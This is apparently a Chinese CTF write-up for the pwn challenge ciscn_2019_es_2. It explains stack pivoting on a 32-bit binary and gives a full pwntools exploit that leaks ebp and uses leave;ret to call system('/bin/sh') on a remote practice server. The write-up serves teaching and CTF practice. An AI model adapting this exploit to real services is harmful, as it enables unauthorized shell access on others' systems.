ciscn_2019_es_2
栈迁移的例题,我花了大概两天的时间去学习,可能是自己比较笨吧,现在也不能说完全理解。

32位程序,主要漏洞点在这里,有两个read还有个printf,题目里还有个后门函数

按理来说如果这是bin/sh我们有30个字节可填东西,是刚刚好够覆盖到返回地址让它指向hack的也就是可以完成攻击,但是这个echo flag真的没有用,只是我们现在有了可以直接用的system.

那我们可能就要自己构造ROP链去完成攻击,但是很不好意思,我们只有0x30个字节去用,这里不够。这里就需要用到一个知识点叫做栈迁移。
通俗上来讲就是把栈迁移到另一个地方,更大的地方去完成我们需要的攻击。
再通俗一点就是控制程序中的ebp和esp去完成栈的迁移
点击查看代码
from pwn import *
from LibcSearcher import *
r=remote('node4.buuoj.cn',27838)
#r=process('./a')
elf=ELF('./a')
context.log_level='debug'
#context.terminal = ['tmux','splitw','-h']
#gdb.attach(proc.pidof(r)[0],gdbscript="b main")
sys=0x8048400
leave_ret=0x80484b8
#gdb.attach(r)
r.recvuntil("Welcome, my friend. What's your name?\n")
payload='a'*0x27+'b'
r.send(payload)
r.recvuntil('b')
ebp_addr=u32(r.recv(4))
print(hex(ebp_addr))
#gdb.attach(r)
payload2='a'*4+p32(sys)+p32(0xdeadbeef)+p32(ebp_addr-0x28)+"/bin/sh"
payload2=payload2.ljust(0x28,'\x00')
payload2+=p32(ebp_addr-0x38)
payload2+=p32(leave_ret)
r.sendline(payload2)
r.interactive()

浙公网安备 33010602011771号